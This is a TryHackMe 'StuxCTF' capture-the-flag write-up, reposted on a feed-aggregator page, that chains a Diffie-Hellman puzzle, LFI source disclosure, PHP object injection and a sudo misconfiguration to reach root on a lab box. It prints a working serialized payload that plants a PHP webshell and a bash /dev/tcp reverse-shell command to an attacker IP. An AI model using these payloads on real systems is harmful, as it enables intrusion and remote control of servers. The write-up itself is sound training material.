惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

J
Java Code Geeks
M
MIT News - Artificial intelligence
D
Docker
S
SegmentFault 最新的问题
B
Blog
Apple Machine Learning Research
Apple Machine Learning Research
博客园_首页
博客园 - 【当耐特】
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
The GitHub Blog
The GitHub Blog
Y
Y Combinator Blog
腾讯CDC
阮一峰的网络日志
阮一峰的网络日志
U
Unit 42
C
Check Point Blog
GbyAI
GbyAI
美团技术团队
Recent Announcements
Recent Announcements
F
Fortinet All Blogs
量子位
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
V
Visual Studio Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
G
Google Developers Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
StuxCTF — TryHackMe Writeup
Yogeshwar Peela · 2026-06-01 · via DEV Community
Cover image for StuxCTF — TryHackMe Writeup

Yogeshwar Peela

Platform: TryHackMe

Difficulty: Easy

Category: Web, Cryptography, PHP Object Injection


Overview

StuxCTF chains together several techniques: Diffie-Hellman key exchange to find a hidden directory, Local File Inclusion (LFI) to read PHP source code, and PHP Object Injection for Remote Code Execution. No brute-forcing required — just careful enumeration and connecting the dots.


Reconnaissance

Nmap Scan

nmap -sCV -A 10.49.155.3

Results:

  • 22/tcp — OpenSSH 7.2p2
  • 80/tcp — Apache 2.4.18

Nmap also flagged a robots.txt:

curl http://10.49.155.3/robots.txt

# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: /StuxCTF/

Two clues immediately: the path /StuxCTF/ and the keyword Diffie-Hellman.


Step 1 — Finding the Hidden Directory (Diffie-Hellman)

Viewing the main page source revealed a hidden HTML comment with Diffie-Hellman parameters:

<!-- p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251; g: 7; a: 330; b: 450; g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617; -->

This is a 3-party Diffie-Hellman setup:

  • p = large prime modulus
  • g = 7 = generator
  • a = 330, b = 450 = two private keys
  • g^c = third party's public key

The shared secret is:

secret = ((g^c)^a)^b mod p

Python script:

#!/usr/bin/env python3

def main():
    p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
    g = 7
    a = 330
    b = 450
    gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

    gca = pow(gExpc, a, p)
    gcab = pow(gca, b, p)

    # Only print first 128 characters
    print(f'Hidden directory: {str(gcab)[:128]}')

if __name__ == '__main__':
    main()

Output:

Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055


Step 2 — The Hidden Directory

Navigating to http://10.49.155.3/47315028.../ showed a simple page with:

  • A heading: "Follow the white rabbit.."
  • An <a href="index.php">Home</a> link
  • A hint in the source: <!-- hint: /?file= -->

Step 3 — Reading the PHP Source via LFI

The ?file= parameter hints at a Local File Inclusion vulnerability. Using it to read index.php:

http://10.49.155.3/<hidden_dir>/?file=index.php

This returned a long hex string. To decode it on Kali:

# Save the hex output to hex.txt, then:
cat hex.txt | xxd -r -p | rev | base64 -d

The encoding chain was: base64 → reverse → hex (so decoding is hex → reverse → base64).

Decoded PHP source (key parts):

class file {
    public $file = "dump.txt";
    public $data = "dump test";
    function __destruct(){
        file_put_contents($this->file, $this->data);
    }
}

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
    echo "File no Exist!";
}

if($file_name == "index.php"){
    $content = file_get_contents($file_name);
    $tags = array("", "");
    echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}

unserialize(file_get_contents($file_name));

Two critical findings:

  1. unserialize(file_get_contents($file_name)) — fetches any URL or file we pass and deserializes it
  2. The file class __destruct() magic method writes arbitrary content to any file

This is a PHP Object Injection vulnerability.


Step 4 — Exploiting PHP Object Injection

We craft a malicious serialized file object that writes a PHP webshell when deserialized:

echo 'O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' > test.php

Host it on a local HTTP server:

python3 -m http.server 8000

Trigger the server to fetch and deserialize our payload:

curl 'http://10.49.155.3/<hidden_dir>/?file=http://<YOUR_IP>:8000/test.php'

Response is File no Exist! — expected, and it confirms the payload was fetched. The __destruct() runs automatically and writes shell.php to the server.


Step 5 — Reverse Shell

Start a netcat listener:

nc -lvnp 4444

Trigger the reverse shell through the webshell (URL encoding required for special characters):

curl -G "http://10.49.155.3/<hidden_dir>/shell.php" \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'

Shell received as www-data.

Upgrade to a stable TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'


Step 6 — Privilege Escalation

Checking sudo permissions:

sudo -l

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

www-data has unrestricted passwordless sudo — instant root:

sudo su


Flags

User flag (/home/grecia/user.txt):

[redacted]

Root flag (/root/root.txt):

[redacted]


Full Attack Chain

Nmap → robots.txt → /StuxCTF hint + "Diffie-Hellman"
          ↓
Page source → DH parameters in HTML comment
          ↓
Compute 3-party shared secret → first 128 digits = hidden directory
          ↓
Hidden directory → hint: /?file=
          ↓
/?file=index.php → long hex output
          ↓
Decode: hex → reverse → base64 → PHP source code
          ↓
Source reveals: unserialize(file_get_contents($_GET['file']))
          ↓
PHP Object Injection → serialize malicious `file` object
          ↓
Server fetches payload → __destruct() writes shell.php
          ↓
Reverse shell → www-data
          ↓
sudo -l → NOPASSWD: ALL → root ✓


Key Takeaways

  • Never expose DH private keys in HTML comments — a and b must stay secret
  • Never pass user input to unserialize() — always leads to object injection
  • PHP magic methods like __destruct() are dangerous with user-controlled deserialization
  • Principle of least privilegewww-data should never have NOPASSWD: ALL sudo rights

Happy hacking! 🐇 Follow the white rabbit.